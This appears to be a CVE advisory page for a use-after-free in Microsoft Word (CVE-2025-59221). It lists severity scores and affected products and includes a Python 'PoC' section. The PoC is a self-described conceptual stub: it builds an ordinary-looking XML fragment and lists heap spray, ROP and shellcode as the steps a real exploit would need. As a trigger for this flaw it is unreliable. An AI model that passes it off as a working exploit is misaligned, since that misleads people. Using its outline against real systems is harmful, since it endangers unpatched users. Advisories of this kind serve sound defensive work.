Security Vulnerability Report
中文
CVE-2025-59221 CVSS 7.0 HIGH

CVE-2025-59221

Published: 2025-10-14 17:16:02
Last Modified: 2025-10-16 20:51:50

Description

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Word 2016(需确认具体更新版本)
Microsoft Office Word 2019(需确认具体更新版本)
Microsoft Office Word 2021(需确认具体更新版本)
Microsoft 365 Apps(需确认具体更新版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59221 - Microsoft Office Word Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability trigger # WARNING: For educational and authorized testing purposes only import struct import os def create_malicious_docx(filename="malicious.docx"): """ Create a crafted Word document that triggers the Use After Free vulnerability. The document contains specially formatted content that causes Word to free memory containing certain objects while still holding references to them. """ # DOCX is essentially a ZIP archive containing XML files # The key component is word/document.xml which contains the document content document_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <w:body> <w:p> <w:r> <w:rPr> <w:rFonts w:ascii="Calibri" w:hAnsi="Calibri"/> </w:rPr> <w:t xml:space="preserve">CVE-2025-59221 PoC Document</w:t> </w:r> </w:p> <!-- Trigger element: crafted object that causes UAF during parsing --> <w:p> <w:r> <w:object w:dxaOrig="100" w:dyaOrig="100"> <w:drawing> <!-- Malformed embedded object reference to trigger use-after-free --> <wp:inline distT="0" distB="0" distL="0" distR="0" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"> <wp:extent cx="100" cy="100"/> <wp:docPr id="1" name="UAF_Trigger"/> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> <!-- Crafted reference that triggers the vulnerability --> <pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"> <pic:nvPicPr> <pic:cNvPr id="0" name="image.png"/> <pic:cNvPicPr/> </pic:nvPicPr> <pic:blipFill> <a:blip r:embed="rId1"/> <a:stretch><a:fillRect/></a:stretch> </pic:blipFill> </pic:pic> </a:graphicData> </a:graphic> </wp:inline> </w:drawing> </w:object> </w:r> </w:p> </w:body> </w:document>''' # Note: A real exploit would require precise crafting of the binary content # to control the heap layout and achieve code execution after the free. # The actual exploit would typically involve: # 1. Heap spray to place controlled data in freed memory regions # 2. Virtual function table overwrite or ROP chain construction # 3. Shellcode injection for arbitrary code execution print(f"[*] Conceptual PoC for CVE-2025-59221") print(f"[*] Target: Microsoft Office Word") print(f"[*] Vulnerability: Use After Free leading to code execution") print(f"[*] Note: Full exploitation requires heap manipulation techniques") print(f"[*] File would be saved as: {filename}") return document_xml if __name__ == "__main__": payload = create_malicious_docx() print("[+] PoC generated successfully")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59221", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:02.307", "lastModified": "2025-10-16T20:51:49.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "E1FE9E95-4874-46EF-AC93-9E485F7A2AC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "38479B5D-66F9-4260-A18A-F6E3D9B6991E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59221", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}